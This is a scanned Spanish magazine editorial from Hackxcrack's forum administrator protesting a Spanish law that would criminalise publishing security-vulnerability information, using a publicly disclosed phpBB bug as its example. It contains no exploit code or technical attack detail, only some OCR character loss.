pongan el grito en el cielo... las leyes son
muy aburridas... équien las entiende?...
que hagan lo que quieran, total, mi opinion
no cuenta.

Bien... “inteligente” posicién, seguro que
TU y YO hemos caido mil veces en esta
trampa, la trampa de pensar: ---éy que
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puedo hacer yo? Total, por mucho que yo
“patalee”, no va a cambiar nada---

Asi que, nos quedamos tan tranquilos sin
hacer nada :(

El problema es que nosotros somos per-
sonas normales y no llegamos ni a imagi-
narnos las consecuencias de esta ley...
hasta que nos “toca”... claro... hasta que
un buen dia te llega a casa una citacion
judicial de una gran compafia y te das
cuenta que “aquella ley” te dice que eres
“un delincuente”.

¢Qué ha pasado? Pero si la ley no parecia
afectarme a mi... épor qué me denuncian
a mi?!!! ¢Qué he hecho? i!!

La “ley mordaza” implica que la publicacion
en cualquier medio (una Web, un periddico,
un libro, una revista e incluso un mail) de
informacion relativa a la seguridad infor-
matica es constituyente de delito. Una
simple mencién a un agujero de seguridad,
detallar técnicamente dicho agujero y/o
explicar el método de intrusién para que
sea comprendido y uno pueda protegerse
puede ser considerado delito.

Perfecto. Con esta ley, Espafa se acaba
de cargar incluso la Web Oficial de Micro-
soft. Microsoft tiene en su Web miles de
explicaciones técnicas relacionadas con
sus agujeros de seguridad, incluso provee
al mundo entero las herramientas necesa-
rias para detectar esos fallos y explotarlos.
Este humilde redactor tiene en su PC un
programa que Microsoft aconsejaba des-
cargar desde su Web Oficial (e instalar)
para testear los agujeros de seguridad.
Desde aqui, rogaria a la fiscalia que actuase
de oficio y denunciase a Microsoft... son
unos delincuentes desde el punto de vista
de la ley Espaiiola.

Pero hay mas. Si eres por ejemplo, admi-
nistrador de redes, NO se te ocurra enviar
un mail a otros administradores sobre
como defenderse de un agujero de segu-
ridad... eso es delito... como técnico NO
PUEDES dar datos técnicos sobre seguridad
informatica a otros técnicos. NO puedes,
eso es delito segun la ley especifica per-
fectamente en su punto 3.

Y no se te ocurra testear tu sistema para

ver si algun agujero de seguridad te esta
dejando indefenso ante un posible atacan-
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te, ese tipo de investigacion también puede
ser constituyente de delito, puesto que
estas en posesion y utilizando medios (ya
sea software o hardware) que te permiten
“explotar” agujeros de seguridad e inves-
tigar sobre los mismos.

¢Quieres mas? éNo tienes suficiente? Pues
ahora viene lo bueno...

Tal como remarca Carlos Almeida, esta
ley “viene a situar fuera de la Ley a la
mayor parte de la poblacion espafiola”. O
sea que, cualquier gran empresa puede
denunciarnos (a ti y a mi) e incluso puede
conseguir que nos condenen. Las empre-
sas no son tontas, no empezaran a denun-
ciar a cientos de miles de personas, pero
SI a unas pocas... con eso bastara para
atemorizar.

Quien peor lo tiene, con diferencia, es el
“software libre”. Por ejemplo, nuestro foro
en la Web estd programado en PHP y es
“libre”. Puedes descargarlo gratuitamente
de www.phpbb.com... estd programado
para disfrute de quien quiera utilizarlo y
una alternativa parecida en “software de
pago” implicaria desembolsar unos 800
euros. Los lectores de esta humilde revista
no podrian tener un foro tan potente,
imposible a esos precios.

Pero... ¢por qué lo tiene muy mal el soft-
ware libre?, éen qué le afecta la ley? Pues
como lo hemos vivido en nuestras propias
carnes, te lo explico muy claramente.

Hace unos dias se publicé un BUG que
afectaba a este foro, durante unas horas
estuvimos desprotegidos ante un ataque
que podria haber sido LETAL... hablamos
de que un atacante podria haber entrado
como administrador y eliminado el foro
completo. OHHHH!!!

Pero como todavia estamos en un mundo
libre, ese bug tan importante fue anunciado
publicamente, y gracias a ello los adminis-
tradores nos avisamos unos a otros vy,
gracias a dios, nos protegimos antes de
que un posible atacante nos volatilizase...
y no puedo seguir escribiendo sin mostrarle
mi agradecimiento a quien nos avisé pri-
mero, el administrador de
www.elhacker.net.(ver imagen 1)

Recomiendo enérgicamente que visites su
Web y, desde aqui, en nombre de la revista
y en nombre de todos los miembros, mo-
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Imagen 1

deradores y administradores de
www.hackxcrack.com, te damos MIL Y MIL
GRACIAS por tu ética. Y enviamos un
fuerte abrazo a todos los que visitan con
asiduidad tu Web y a todos los que partic-
ipan en ella con su tiempo y esfuerzo --
> elhacker.net forever ;)

espus de ser pblicamente conocido el bug,
en la Web oficial del foro phpbb
www.phpbb.com) fuimos informados y
pusieron un parche para descargar y poder
actualizar nuestro foro en hackxcrack.
Incluso inmediatamente que fue pblica-
mente conocido el bug, ya haban mil sitios
que te enseaban a protegerlo cambiando
a mano una simple Inea de cdigo. Pues
bien, con LEY MORDAZA, todos los impli-
cados estamos fuera de la ley. Y yo el
primero, porque declaro pblicamente me-
diante este escrito que investigu el bug,

la forma de protegerme de | y transmit
pblicamente esa informacin a muchas
personas y administradores de otros
foros... vendr el juez a buscarme?... hom-
bre... pues aqu te espero sentado en mi
casa. A ver si hay suerte, el fiscal me
denuncia, salgo en la tele y hago propa-
ganda gratis a la revista :P Venga, que ya
acabo mi Inea anarquista, aguntame unas
Ineas ms. El software libre es precisamente
el ms rpido en protegerse (actualizarse)
ante un agujero de seguridad, mil veces
ms rpido que cualquier compaa multimil-
lonaria. Son miles las personas que cuando
descubren un bug lo anuncian y depende
ya de la agilidad de los programadores
poner a disposicin de los usuarios el parche
correspondiente. Con la ley mordaza, adis
a esta posibilidad, se perdera este dina-
mismo y se daara de forma irreversible
su calidad.Y llegamos a la guinda final, el
trfico de informacin, la mafia informativa.Si
TU y yo NO podemos acceder con normal-
idad a la informacin relacionada con la
seguridad informtica, te aseguro que esa
informacin seguira en Internet, pero ser
tratada en grupos reducidos (ocultos),
hacindonos a muchos delincuentes por el
mero hecho de TRAFICAR con esa infor-
macin. Y de todo hay en este querido
mundo nuestro... gente buena y gente
mala... te imaginas el dao irreparable que
significara no enterarte de un bug hasta
pasados 6 meses desde su aparicin?... y,

A cion

al Cliente

Teléfono de Atencion al Cliente:

977 22 45 80

Persona de Contacto:
Srta. Genoveva

Peticion de numeros atrasados y suscripciones

Servicio Ofrecido de Lunes a Viernes
De 9:30 A 13:30
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para colmo, te aseguro que esa informacin
valdra mucho dinero... bienvenido al trfico
de informacin. Y seamos un poco malos...
venga... anmate, piensa un poco... quien
tendra dinero para comprar esa informacin?
... Pues te aseguro que el software libre
NO... pues eso... las empresas impor-
tantes, multinacionales y toda la pesca. Y
si yo tengo una empresa de software
millonaria y quiero quitar de en medio a
mi competencia libre... pues con esa in-
formacin y un programador suelto un
gusano que fulmina por completo la cred-
ibilidad de ese software libre(mi compe-
tencia) que reduce mis ventas.paranoia?

Si cae en tus manos un buen libro de
artes empresariales, ya me contars. En el
mundo actual (en la esquina de tu calle)
hay guerras y hay muertos, pero esta
guerra no tiene bombas y los muertos no
sangran... cada da las empresas luchan a
muerte por sobrevivir y te aseguro que
las hay perfectamente entrenadas para
ELIMINAR a la competencia.Esta ley intenta
ponernos las cadenas de la ignorancia,
negarnos a la plebe el derecho a investigar
y compartir nuestros conocimientos. Yo
no pido mucho, simplemente quiero poder
vivir tranquilo, sin miedos a leyes ab-
surdas... Yo no soy un delincuente... Y
tu?Gracias por leerme y aguantarme. Un
abrazo a todos!!'!AZIMUT, administrador
del foro de www.hackxcrack.com
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